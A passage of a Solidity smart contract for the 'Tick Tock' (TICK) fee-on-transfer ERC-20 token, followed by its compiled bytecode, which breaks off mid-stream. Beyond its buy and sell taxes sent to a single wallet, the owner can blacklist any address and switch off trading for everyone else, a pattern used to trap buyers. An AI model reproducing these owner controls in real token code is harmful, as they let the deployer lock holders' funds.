function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TickTock is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tick Tock";
string private constant _symbol = "TICK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x07106dc997EF28fC89aA94a0B6047055E2f670F9);
address payable private _marketingAddress = payable(0x07106dc997EF28fC89aA94a0B6047055E2f670F9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ec5565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f96565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fee565b61087b565b6040516102649190613049565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130c3565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130ed565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613108565b6108d0565b6040516102f79190613049565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130ed565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613177565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b60405161037891906131a1565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131bc565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613215565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131bc565b610c51565b60405161041e91906130ed565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613242565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130ed565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131bc565b610eab565b6040516104c691906130ed565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f191906131a1565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613215565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130ed565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f96565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613242565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061326f565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fee565b61127b565b6040516105ff9190613049565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131bc565b611299565b60405161063c9190613049565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613331565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613391565b6114cc565b6040516106b991906130ed565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613242565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131bc565b6115f2565b005b61071c6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061341d565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd61343d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061349b565b9150506107ac565b5050565b60606040518060400160405280600981526020017f5469636b20546f636b0000000000000000000000000000000000000000000000815250905090565b600061088f6108886117b4565b84846117bc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611987565b61099e846108e96117b4565b6109998560405180606001604052806028815260200161412460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220c9092919063ffffffff16565b6117bc565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061341d565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a9061341d565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b4565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e81612270565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122dc565b9050919050565b610caa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e819061341d565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f789061341d565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f5449434b00000000000000000000000000000000000000000000000000000000815250905090565b610fe96117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d9061341d565b60405180910390fd5b8060188190555050565b6110886117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c9061341d565b60405180910390fd5b60008410158015611127575060048411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613556565b60405180910390fd5b60008210158015611178575060148211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae906135e8565b60405180910390fd5b600083101580156111c9575060048311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061367a565b60405180910390fd5b6000811015801561121a575060148111155b611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509061370c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b4565b8484611987565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f8161234a565b50565b61139a6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e9061341d565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c61343d565b5b905060200201602081019061146291906131bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be9061349b565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df9061341d565b60405180910390fd5b8060178190555050565b6115fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061379e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613830565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611893906138c2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197a91906130ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613954565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906139e6565b60405180910390fd5b60008111611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613a78565b60405180910390fd5b611ab2610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b205750611af0610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57601560149054906101000a900460ff16611baf57611b41610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590613b0a565b60405180910390fd5b5b601654811115611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613b76565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c985750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613c08565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d845760175481611d3984610c51565b611d439190613c28565b10611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613cf0565b60405180910390fd5b5b6000611d8f30610c51565b9050600060185482101590506016548210611daa5760165491505b808015611dc2575060158054906101000a900460ff16155b8015611e1c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e345750601560169054906101000a900460ff165b8015611e8a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ee05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0857611eee8261234a565b60004790506000811115611f0657611f0547612270565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120645750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561207357600090506121fa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121e15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f957600a54600c81905550600b54600d819055505b5b612206848484846125d0565b50505050565b6000838311158290612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b9190612f96565b60405180910390fd5b50600083856122639190613d10565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d8573d6000803e3d6000fd5b5050565b6000600654821115612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a90613db6565b60405180910390fd5b600061232d6125fd565b9050612342818461262890919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238157612380612d24565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c661343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246957600080fd5b505afa15801561247d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a19190613deb565b816001815181106124b5576124b461343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612580959493929190613f11565b600060405180830381600087803b15801561259a57600080fd5b505af11580156125ae573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125de576125dd612672565b5b6125e98484846126b5565b806125f7576125f6612880565b5b50505050565b600080600061260a612894565b91509150612621818361262890919063ffffffff16565b9250505090565b600061266a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128f6565b905092915050565b6000600c5414801561268657506000600d54145b15612690576126b3565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c787612959565b95509550955095509550955061272586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ba85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280681612a69565b6128108483612b26565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286d91906130ed565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128ca683635c9adc5dea0000060065461262890919063ffffffff16565b8210156128e957600654683635c9adc5dea000009350935050506128f2565b81819350935050505b9091565b6000808311829061293d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129349190612f96565b60405180910390fd5b506000838561294c9190613f9a565b9050809150509392505050565b60008060008060008060008060006129768a600c54600d54612b60565b92509250925060006129866125fd565b